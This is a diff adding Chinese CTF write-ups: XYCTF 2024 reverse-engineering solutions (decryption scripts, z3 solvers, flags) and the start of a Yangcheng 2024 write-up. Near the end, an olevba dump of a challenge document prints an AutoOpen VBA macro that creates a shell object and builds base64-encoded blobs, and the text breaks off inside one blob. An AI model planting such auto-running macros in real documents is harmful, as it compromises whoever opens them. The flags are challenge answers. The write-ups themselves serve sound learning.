[rbp+A4h] + unsigned __int8 v12; // [rsp+104h] [rbp+E4h] + unsigned __int8 v13; // [rsp+144h] [rbp+124h] + int i; // [rsp+164h] [rbp+144h] + + init_box(); + v8 = 0; + v10 = 0; + v11 = 0; + fout = fopen("Doraemon3", "wb"); + fin = fopen("Doraemon1", "rb"); + while (!feof(fin)) + { + v10 = (v10 + 1) % 512; + v11 = (BOX[v10] + v11) % 512; + unsigned char tmp = BOX[v10]; + BOX[v10] = BOX[v11]; + BOX[v11] = tmp; + v13 = BOX[(unsigned __int8)((BOX[v11] + BOX[v10]) % 512)]; + v12 = v13 ^ fgetc(fin); + fputc(v12, fout); + srand(BOX[v8 % 512]); + v9 = rand() % 4; + for (i = 0; i < v9; ++i) + { + v5 = rand(); + fgetc(fin); + } + ++v8; + } + fclose(fout); + fclose(fin); + + return 0; +} +``` + +Doraemon3 本身已经是解密程序,解密 Doraemon2 得到 Here。输入密钥 Doraemon 直接跑得到 GIF89a 文件 + +![Here.gif](../../wp/xyctf-2024-reverse/Here.gif) + +# 舔狗四部曲--相逢已是上上签 + +> 听说你PE,工具,算法都学的很好尊嘟假嘟? +> 出题人:@upsw1ng +> 18支队伍攻克 + +蓝底处 PE 头位置修改为 100h + +![Untitled](../../wp/xyctf-2024-reverse/shangshangqian.png) + +6 个变量 6 个方程,z3 启动 + +```python +from z3 import * + +s = Solver() +key = [BitVec(f'key_{i}', 8) for i in range(6)] + +s.add(532 * key[5] + + 829 * key[4] + + 258 * key[3] + + 811 * key[2] + + 997 * key[1] + + 593 * key[0] == 292512) +s.add(576 * key[5] + + 695 * key[4] + + 602 * key[3] + + 328 * key[2] + + 686 * key[1] + + 605 * key[0] == 254496) +s.add(580 * key[5] + + 448 * key[4] + + 756 * key[3] + + 449 * key[2] + + 512 * key[1] + + 373 * key[0] == 222479) +s.add(597 * key[5] + + 855 * key[4] + + 971 * key[3] + + 422 * key[2] + + 635 * key[1] + + 560 * key[0] == 295184) +s.add(524 * key[5] + + 324 * key[4] + + 925 * key[3] + + 388 * key[2] + + 507 * key[1] + + 717 * key[0] == 251887) +s.add(414 * key[5] + + 495 * key[4] + + 518 * key[3] + + 884 * key[2] + + 368 * key[1] + + 312 * key[0] == 211260) + +if s.check() == sat: + m = s.model() + print(''.join([chr(m[k].as_long()) for k in key])) +``` + +key: `XYCTF!` + +```c +#include +#define u32 unsigned int + +char* Key = "XYCTF!"; + +void sub_401000(u32 *a1, int a2) +{ + int v2; // ecx + int v3; // eax + int v4; // edx + int v5; // [esp+4h] [ebp-1Ch] + int v6; // [esp+Ch] [ebp-14h] + unsigned int v7; // [esp+10h] [ebp-10h] + unsigned int v8; // [esp+18h] [ebp-8h] + unsigned int i; // [esp+1Ch] [ebp-4h] + + if (a2 > 1) + { + v6 = 52 / a2 + 6; + v7 = 0; + v8 = a1[a2 - 1]; + do + { + v7 -= 0x61C88647; + v5 = (v7 >> 2) & 5; + for (i = 0; i < a2 - 1; ++i) + { + v2 = ((v8 ^ Key[v5 ^ i & 5]) + (a1[i + 1] ^ v7)) ^ (((16 * v8) ^ (a1[i + 1] >> 3)) + ((4 * a1[i + 1]) ^ (v8 >> 5))); + v3 = a1[i]; + a1[i] = v2 + v3; + v8 = v2 + v3; + } + v4 = (((v8 ^ Key[v5 ^ i & 5]) + (*a1 ^ v7)) ^ (((16 * v8) ^ (*a1 >> 3)) + ((4 * *a1) ^ (v8 >> 5)))) + a1[a2 - 1]; + a1[a2 - 1] = v4; + v8 = v4; + --v6; + } while (v6); + } +} + +void decrypt(u32 *a1, int a2) +{ + int v5; // [esp+4h] [ebp-1Ch] + int v6; // [esp+Ch] [ebp-14h] + unsigned int v7; // [esp+10h] [ebp-10h] + unsigned int v8; // [esp+18h] [ebp-8h] + int i; // [esp+1Ch] [ebp-4h] + + if (a2 > 1) + { + v7 = (-0x61C88647) * (52 / a2 + 6); + for (v6 = 0; v6 < 52 / a2 + 6; ++v6) + { + v5 = (v7 >> 2) & 5; + for (i = a2 - 1; i >= 0; --i) + { + v8 = a1[(i - 1 + a2) % a2]; + a1[i] -= ((v8 ^ Key[v5 ^ i & 5]) + (a1[(i + 1) % a2] ^ v7)) ^ (((16 * v8) ^ (a1[(i + 1) % a2] >> 3)) + ((4 * a1[(i + 1) % a2]) ^ (v8 >> 5))); + } + v7 += 0x61C88647; + } + } +} + +int main() { + int v6[8]; + v6[0] = 1718186609; + v6[1] = -1989270907; + v6[2] = -988247013; + v6[3] = 1924988163; + v6[4] = 1400902090; + v6[5] = 1302415020; + v6[6] = -2040328853; + v6[7] = -124282896; + decrypt(v6, 8); + printf("%s\n", v6); + return 0; +} +``` + +🚩 `XYCTF{XXTEA_AND_Z3_1s_S0_easy!!}` + +# easy language + +> 易语言一定很easy吧(玩的时候声音建议开小点)。 +> 出题人:@yuro +> 28支队伍攻克 + +看到一段base64、故意用感叹号补齐的16个字符、明文字符串AES-ECB,直接试。靠谱的方法以后再来探索吧 + +![Untitled](../../wp/xyctf-2024-reverse/easy-lang-1.png) + +![Untitled](../../wp/xyctf-2024-reverse/easy-lang-2.png) + +![Untitled](../../wp/xyctf-2024-reverse/easy-lang-3.png) + +🚩 `XYCTF{y0u_@r3_v3ry_g00d_a7_E_l@ngu@ge}` + +# 今夕是何年 + +> 只要运行就有 flag。都是兄弟,怎么会骗你呢。 +> 出题人:@Suyun +> 47支队伍攻克 + +既生「TCPL」,何生「今夕是何年」? + +原本还以为“今夕是何年”意思是“都 4202 年了还能遇到上古可执行文件”,直到丢 Ghidra 才知道是“龙”啊 + +Rust ,能看到明文 flag 头,但是逆不动一点 + +Ubuntu 22.04 的 apt 没有 qemu-loongarch64 ,自己编译整个 qemu 需要五六 GB 磁盘空间,被塞满了🤣👉🤡 + +![Untitled](../../wp/xyctf-2024-reverse/jinxishihenian.png) + +# Trustme + +> 什么漏洞,这么EZ~ +> 出题人:@JSTQ +> 126支队伍攻克 + +在 `ProxyApplication` 中找到对 `classes.dex` 尾部数据异或 255 然后写回 APK 的逻辑 + +![Untitled](../../wp/xyctf-2024-reverse/trustme-1.png) + +手动提取这部分数据异或 255 得到 APK 文件,找到对 `mydb.db` 异或 255 的逻辑 + +![Untitled](../../wp/xyctf-2024-reverse/trustme-2.png) + +在 SQLite 二进制文件中看到 flag 字符串 + +![Untitled](../../wp/xyctf-2024-reverse/trustme-3.png) + +🚩 `XYCTF{And0r1d_15_V3ryEasy}` + +# 何须相思煮余年 + +> 为什么没有代码呀? +> 出题人:@upsw1ng +> 79支队伍攻克 + +用 CyberChef 将文本存为二进制文件,拖到 IDA (32位或64位都可以)发现包含一个完整的函数(有函数序言和函数尾声),P 键创建函数后可以反编译 + +![Untitled](../../wp/xyctf-2024-reverse/zhuyunian.png) + +```python +enc = [88,88,134,87,74,118,318,101,59,92,480,60,65,41,770,110,73,31,918,39,120,27,1188,47,77,24,1352,44,81,23,1680,46,85,15,1870,66,91,16,4750] + +for i in range(39): + if i % 4 == 0: enc[i] -= i + elif i % 4 == 1: enc[i] += i + elif i % 4 == 2: enc[i] //= i + elif i % 4 == 3: enc[i] ^= i + +print(bytes(enc)) +``` + +🚩 `XYCTF{5b3e07567a9034d06851475481507a75}` + +# What's this + +> 这是什么文件? +> 出题人:@ZhaoWu +> 69支队伍攻克 + +DIE 可知 格式: Lua Bytecode (.LUAC)(v5.1)[LittleEndian] + +找工具 [https://www.52pojie.cn/thread-1224918-1-1.html](https://www.52pojie.cn/thread-1224918-1-1.html) + +反编译得到源代码,包含大量无意义逻辑,只需追溯 output 变量的赋值过程即可 + +CyberChef 梭了 + +![Untitled](../../wp/xyctf-2024-reverse/whats-this.png) + +🚩 `XYCTF{5dcbaed781363fbfb7d8647c1aee6c}` + +# 你是真的大学生吗? (luoingly) + +> 你是冤种大学生吗? +> 出题人:@dev1l +> 326支队伍攻克 + +MSDOS程序,需要读汇编。 + +![Untitled](../../wp/xyctf-2024-reverse/daxuesheng.png) + +```python +src = [0x76, 0x0e, 0x77, 0x14, 0x60, 0x06, 0x7d, 0x04, 0x6b, 0x1e, + 0x41, 0x2a, 0x44, 0x2b, 0x5c, 0x03, 0x3b, 0x0b, 0x33, 0x05] + +dst = [0x00] * 20 +for i in range(19): + dst[i] = src[i] ^ src[i + 1] +dst[19] = src[19] ^ dst[0] +print("".join([chr(i) for i in dst])) +``` + +🚩 `xyctf{you_know_8086}` + +# ez_enc + +> 你们要的签到题。 +> 出题人:@Showmaker +> 89支队伍攻克 + +通过字符串引用定位到主要逻辑在 sub_140011960 ,搓个 z3 + +```c +from z3 import * + +s = Solver() +items = [BitVec('flag[%d]' % i, 8) for i in range(34)] +moyu_z3_decls = items[:] + +for i in range(34): + s.add(items[i] < 127) + s.add(items[i] >= 32) + +enc = [ + 0x27, 0x24, 0x17, 0x0B, 0x50, 0x03, 0xC8, 0x0C, 0x1F, 0x17, + 0x36, 0x55, 0xCB, 0x2D, 0xE9, 0x32, 0x0E, 0x11, 0x26, 0x02, + 0x0C, 0x07, 0xFC, 0x27, 0x3D, 0x2D, 0xED, 0x35, 0x59, 0xEB, + 0x3C, 0x3E, 0xE4, 0x7D +] + +for i in range(33): + items[i] = b'IMouto'[i % 6] ^ (items[i + 1] + items[i] % 20) & 0xff + +for i in range(34): + s.add(items[i] == enc[i]) + +if s.check() == sat: + m = s.model() + print(''.join(chr(m[moyu_z3_decls[i]].as_long()) for i in range(34))) + +# Rlag{!_r3ea11y_w4nt_@_cu7e_s1$ter} +# flag{!_r3ea11y_w4nt_@_cu7e_s1$ter} +``` + +# 砸核桃 + +> 来帮zhaowu开个核桃 非恶意文件!!! +> 出题人:@ZhaoWu +> 159支队伍攻克 + +DIE 可知 打包工具: NsPacK(3.x)[-] + +x32dbg 运行到 0x40641D 处,脱壳 + +![Untitled](../../wp/xyctf-2024-reverse/zahetao-1.png) + +脱壳后整理一下反编译结果 + +![Untitled](../../wp/xyctf-2024-reverse/zahetao-2.png) + +解密 + +![Untitled](../../wp/xyctf-2024-reverse/zahetao-3.png) + +🚩 `flag{59b8ed8f-af22-11e7-bb4a-3cf862d1ee75}` + +# ezmath + +> 上过初中就会写 +> 出题人:@dev1l +> 64支队伍攻克 + +pydumpck 一把解开,下面两行可以等效替换,这件事用 IDE 的一些神奇的查找替换功能就能做到 + +```python +sum((lambda .0: [ <参数1> for _ in .0 ])(range(<参数2>))) + +<参数1> * <参数2> +``` + +整理一下,发现 flag 中的每个字符都平方然后减去一个倍数 + +```python +(((((((((((((((((((((flag[23] * flag[23] + flag[12] * flag[12] + flag[1] * flag[1] - flag[24] * 222) + flag[22] * flag[22] + flag[31] * flag[31] + flag[26] * flag[26] - flag[9] * 178 - flag[29] * 232) + flag[17] * flag[17] - flag[23] * 150 - flag[6] * 226 - flag[7] * 110) + flag[19] * flag[19] + flag[2] * flag[2] - flag[0] * 176) + flag[10] * flag[10] - flag[12] * 198) + flag[24] * flag[24] + flag[9] * flag[9] - flag[3] * 168) + flag[8] * flag[8] - flag[2] * 134) + flag[14] * flag[14] - flag[13] * 170) + flag[4] * flag[4] - flag[10] * 142) + flag[27] * flag[27] + flag[15] * flag[15] - flag[15] * 224) + flag[16] * flag[16] - flag[11] * 230 - flag[1] * 178) + flag[28] * flag[28] - flag[5] * 246 - flag[17] * 168) + flag[30] * flag[30] - flag[21] * 220 - flag[22] * 212 - flag[16] * 232) + flag[25] * flag[25] - flag[4] * 140 - flag[31] * 250 - flag[28] * 150) + flag[11] * flag[11] + flag[13] * flag[13] - flag[14] * 234) + flag[7] * flag[7] - flag[8] * 174) + flag[3] * flag[3] - flag[25] * 242) + flag[29] * flag[29] + flag[5] * flag[5] - flag[30] * 142 - flag[26] * 170 - flag[19] * 176) + flag[0] * flag[0] - flag[27] * 168) + flag[20] * flag[20] - flag[20] * 212) + flag[21] * flag[21] + flag[6] * flag[6] + flag[18] * flag[18] - flag[18] * 178) + 297412 == 0 +``` + +有个 flag[31] * 250 ,而 flag[31] 为右大括号即 125 ,直接猜两倍 + +```python +flag = [0] * 32 +flag[24] = 222 +flag[9] = 178 +flag[29] = 232 +flag[23] = 150 +flag[6] = 226 +flag[7] = 110 +flag[0] = 176 +flag[12] = 198 +flag[3] = 168 +flag[2] = 134 +flag[13] = 170 +flag[10] = 142 +flag[15] = 224 +flag[11] = 230 +flag[1] = 178 +flag[5] = 246 +flag[17] = 168 +flag[21] = 220 +flag[22] = 212 +flag[16] = 232 +flag[4] = 140 +flag[31] = 250 +flag[28] = 150 +flag[14] = 234 +flag[8] = 174 +flag[25] = 242 +flag[30] = 142 +flag[26] = 170 +flag[19] = 176 +flag[27] = 168 +flag[20] = 212 +flag[18] = 178 +print(''.join([chr(flag[i] // 2) for i in range(32)])) +# XYCTF{q7WYGscUuptTYXjnjKoyUTKtG} +``` + +后续:看提示说配方,下面两行可以等效替换 + +```python +flag[1] * flag[1] - flag[1] * 178 + +(flag[1] - 89) ** 2 - 89 ** 2 +``` + +减去的这些常数合起来应该刚好是 297412 ,也就是 32 个平方项之和等于 0 ,所以每个平方项都等于 0 。合理(话说这题为什么放在 Reverse) + +# 给阿姨倒一杯卡布奇诺 + +> 到点了,该喝茶了。flag格式:XYCTF{} +> 70支队伍攻克 + +经典 TEA ,注意静态变量 data1 和 data2 的处理 + +```c +#include +#define uint32_t unsigned int + +void decrypt(uint32_t *v, uint32_t *key) +{ + static uint32_t data1 = 0x5F797274; + static uint32_t data2 = 0x64726168; + int i; // [rsp+20h] [rbp-10h] + uint32_t sum; // [rsp+24h] [rbp-Ch] + uint32_t v1; // [rsp+28h] [rbp-8h] + uint32_t v0; // [rsp+2Ch] [rbp-4h] + + sum = 0x6E75316C * 32; + uint32_t data1_tmp = v[0]; + uint32_t data2_tmp = v[1]; + v0 = v[0]; + v1 = v[1]; + for (i = 31; i >= 0; i--) + { + v1 -= ((v0 >> 5) + key[3]) ^ (v0 + sum) ^ (key[2] + 16 * v0) ^ (sum + i); + v0 -= ((v1 >> 5) + key[1]) ^ (v1 + sum) ^ (key[0] + 16 * v1) ^ (sum + i); + sum -= 0x6E75316C; + } + v[0] = v0 ^ data1; + v[1] = v1 ^ data2; + data1 = data1_tmp; + data2 = data2_tmp; +} + +int main() +{ + uint32_t key[4]; // [rsp+60h] [rbp-40h] BYREF + uint32_t array[8]; // [rsp+70h] [rbp-30h] + array[0] = 0x9B28ED45; + array[1] = 0x145EC6E9; + array[2] = 0x5B27A6C3; + array[3] = 0xE59E75D5; + array[4] = 0xE82C2500; + array[5] = 0xA4211D92; + array[6] = 0xCD8A4B62; + array[7] = 0xA668F440; + key[0] = 0x65766967; + key[1] = 0x756F795F; + key[2] = 0x7075635F; + key[3] = 0x6165745F; + for (int i = 0; i <= 7; i += 2) + { + decrypt(array + i, key); + } + for(int i=0; i<32; i++) + { + printf("%c", ((char*)array)[i]); + } + return 0; +} + +// 133bffe401d223a02385d90c5f1ca377 +``` + +🚩 `XYCTF{133bffe401d223a02385d90c5f1ca377}` + +# DebugMe + +> 康康你的debugger +> 出题人:@yuro +> 189支队伍攻克 + +复现一下 NewStarCTF 2023 Week 2 AndroDbgMe 即可 + +yixinBC ✌️ 的视频非常好 [BV182421T7BS](https://www.bilibili.com/video/BV182421T7BS) 从 27:22 开始 + +解包,添加可调试配置,打包签名,安装, adb 启动调试, JEB 附加 + +![Untitled](../../wp/xyctf-2024-reverse/debugme.png) + +# 喵喵喵的flag碎了一地 (ClearWine) + +> 小猫把flag给咬碎了,你能还原吗? +> 出题人:@ZhaoVVu +> 661支队伍攻克 + +![图片8.png](../../wp/xyctf-2024-reverse/miao-1.png) + +![图片9.png](../../wp/xyctf-2024-reverse/miao-2.png) + +![图片10.png](../../wp/xyctf-2024-reverse/miao-3.png) + +![图片11.png](../../wp/xyctf-2024-reverse/miao-4.png) + +![Untitled](../../wp/xyctf-2024-reverse/miao-5.png) + +🚩 `flag{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}` + +# 聪明的信使 (ClearWine) + +> 传统加密,童叟无欺。 +> 出题人:@ZhaoWu +> 793支队伍攻克 + +对字符串中的字母进行凯撒加密,key=9 + +![图片6.png](../../wp/xyctf-2024-reverse/xinshi.png) + +🚩 `flag{Y0u_KnOw_Crypt0_14_v3ry_Imp0rt@nt!}` diff --git a/source/_posts/wp/yangcheng-2024.md b/source/_posts/wp/yangcheng-2024.md new file mode 100644 index 0000000..80a1075 --- /dev/null +++ b/source/_posts/wp/yangcheng-2024.md @@ -0,0 +1,646 @@ +--- +title: 羊城杯 2024 初赛部分题目 Writeup by LilRan of 四象限守护者 +date: 2024/08/28 13:00:00 +updated: 2024/08/28 13:00:00 +categories: +- CTF-Writeup +cover: ../../wp/yangcheng-2024/cat-letter.png +--- + +太卷了!然而我只是来看看,觉得有意思就做做,不想做的题就不做。本来我还有正事要忙(比如准备 BaseCTF 第二周直播讲题),结果感觉有几个题都挺好玩的,就忙里偷闲做了下。(比五月连续几个星期的烂透了的省赛和国赛好。)是为数不多让我想写一篇 WP 的比赛(虽然根本打不进决赛)。 + + + +# 数据安全2 + +分享一下我的脚本,应该没有比我写得更简单的了。 + +既然 pcapng 文件未压缩,我直接不管流量分组,直接从里面正则提取字符串,然后直接把 JSON 键值对的值一次性赋值给六个变量。 + +本来很喜欢 Python 的,现在更喜欢了。 + +```python +import re +import json +import string + + +DEBUG = False + +PHONE_PREFIX = [ + 734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, + 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, + 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, + 780, 781, 789, 790, 791, 793, 799 +] +WEIGHTS = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] + + +fout = open('result.csv', 'w', encoding='utf-8') +fout.write('username,name,sex,birth,idcard,phone\n') + +def wrong(line, reason): + if DEBUG: + fout.write(reason + ',') + line = [f'"{i}"' if ',' in i else i for i in line] + fout.write(','.join(line) + '\n') + + +with open('data.pcapng', 'r', encoding='latin1') as f: + data = f.read() + +strings = re.findall(r'\{"username": ".*", "name": ".*", "sex": ".*", "birth": ".*", "idcard": ".*", "phone": "\d*"\}', data) +print(len(strings)) # 8000 + +for item in strings: + line = json.loads(item).values() + (username, name, sex, birth, idcard, phone) = line + + if any(i not in string.ascii_lowercase + string.ascii_uppercase + string.digits for i in username): + wrong(line, '用户名不全为数字字母') + elif not all('\u4e00' <= char <= '\u9fff' for char in name): + wrong(line, '姓名不全为汉字') + elif len(idcard) != 18 or not all(i in string.digits for i in idcard[:17]): + wrong(line, '身份证号不为18位数字') + elif sex != ('男' if int(idcard[16]) % 2 == 1 else '女'): + wrong(line, '性别与身份证号不符') + elif birth != idcard[6:14]: + wrong(line, '生日与身份证号不符') + elif len(phone) != 11 \ + or not all(i in string.digits for i in phone) \ + or int(phone[:3]) not in PHONE_PREFIX: + wrong(line, '手机号不为符合前缀的11位数字') + elif '10X98765432'[sum(int(idcard[i]) * WEIGHTS[i] for i in range(17)) % 11] != idcard[17]: + wrong(line, '身份证号校验位错误') + +fout.close() +``` + +# Reverse - docCrack + +拆开 Office 压缩包,除了 `vbaProject.bin` 以外没什么特别的了。 + +VBA 参考: + +[VBA脚本文件重定向](https://mp.weixin.qq.com/s/QbX84NmVXNdV42W4PkNl_A) + +[VBA隐藏技术stomping](https://mp.weixin.qq.com/s/VmVdvD9c6p9Hdo9MZiIyZg) + +[VBA脚本终章编译器崩溃](https://mp.weixin.qq.com/s/d2mULeMn9dft68hzZC3-yQ) + +用 oletools 反编译 P-code + +```bash +pip install -U oletools[full] +olevba -c protected_secret.docm > code.vbs +``` + +有时候还需要 olevba 的其他功能,这题不需要,得到 + +```vb +olevba 0.60.2 on Python 3.12.4 - http://decalage.info/python/oletools +=============================================================================== +FILE: D:\CTF\event\20240827-YangCheng\reverse\docCrack\protected_secret.docm +Type: OpenXML +WARNING For now, VBA stomping cannot be detected for files in memory +------------------------------------------------------------------------------- +VBA MACRO ThisDocument.cls +in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument' +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +Sub rickyroll() + +Debug.Print "Never Gonna Give U Up~~~" + + +Debug.Print "Never Gonna Give U Up~~~" + +' <省略> + +Debug.Print "Never Gonna Give U Up~~~" + +End Sub + +Sub AutoOpen() + Set fso = CreateObject("Scripting.FileSystemObject") + Set objShell = CreateObject("WScript.Shell") + + isContinue = 7 + temp = MsgBox("I?am???Vcke?!!!_I???m??Hac?er??!!???_am_Hac?er!!!_I_a?_????ok?r!!!", vbCritical, "Hacked_by_??????") + Do + inflag = InputBox("Give me your flag", "Hacked_by_??????") + If inflag = "" Then + inflag = "noflag" + End If + Result = "" + For i = 1 To Len(inflag) + res = Chr(Asc(Mid(inflag, i, 1)) Xor 7) + + Result = Result & res + Next i + + FOwoRiFKKMMDhtxiUfJDWzaqNJrPZwASlDxnERT = "TXpNek16TXpNek16TXpFaUQ3Q2pva2VyLy8waUR4Q2pEek16TXpNek16TXpNek16TXpNek16TXpNU0lQc1NPaW82di8vU0lsRUpDam8rK3ovLzBpTEFFaUpSQ1F3Nkx6cy8vK0xBSWxFSkNCTWkwUWtLRWlMVkNRd2kwd2tJT2hPN1AvL1NJUEVTTVBNek16TXpNek16TXpNek16TXpNek16TXhJZyt3b3VRRUFBQURvayt2Ly8waUR4Q2pEek16TXpNek16TXpNek16TXpFaUQ3RGpvS092Ly80bEVKQ0RvUyt6Ly80dE1KQ0NKQ0VpRHhEakR6TXpNek16TXpNek16TXpNek16TXpNek16RWlEN0Nqb1Rldi8vNHZJNkhYcC8vOUlnOFFvdzh6TXpNek16TXpNek16TVNJbE1KQWhJZyt3bzZNTDgvLzlJZzhRb3c4ek16TXpNek16TXpNek16TXhJZyt4WWlVd2tLRWlOUkNSZ1NJMU1KQ0JJaVVRa01NWkVKR0FBeDBRa0lBRVFBQURvdHdjQUFJQjhKR0FBRDVYQVNJUEVXTVBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16RWlEN0ZpSlRDUW9TSTFFSkdCSWpVd2tJRWlKUkNRNHhrUWtZQURIUkNRZ0FoQUFBSWxVSkN4TWlVUWtNRXlKVENSQTZGa0hBQUNBZkNSZ0FBK1Z3RWlEeEZqRHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpFQlZWbGRCVmtpQjdQZ0JBQUJJaXdXRXFBQUFTRFBFU0ltRUpPQUJBQUNMUFpPb0FBQkZpL0JJaS9KSWkrbUQvLzhQaEFFQkFBQkloZEoxRjBTTlFn" + KJApECBsBygCpaCPqkHESDxewQKrYbmg = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + fqbGMOBQtLlIfRylAswLJzJIwewRSFLOCJBsqNXcSjiABtKPFWgGJgnkVLQSEDniZulS = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFGQWlBVUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + AICsXopyxjKVOYHULreIvTjeZLWJSnHXVjXvGUXXHLubqYrPXyEhrHZsdtCGeYhs = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + cEHQlEzbinraPdDZxiXfvwhswqBcsFPVVJnCcMMMaKf = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXp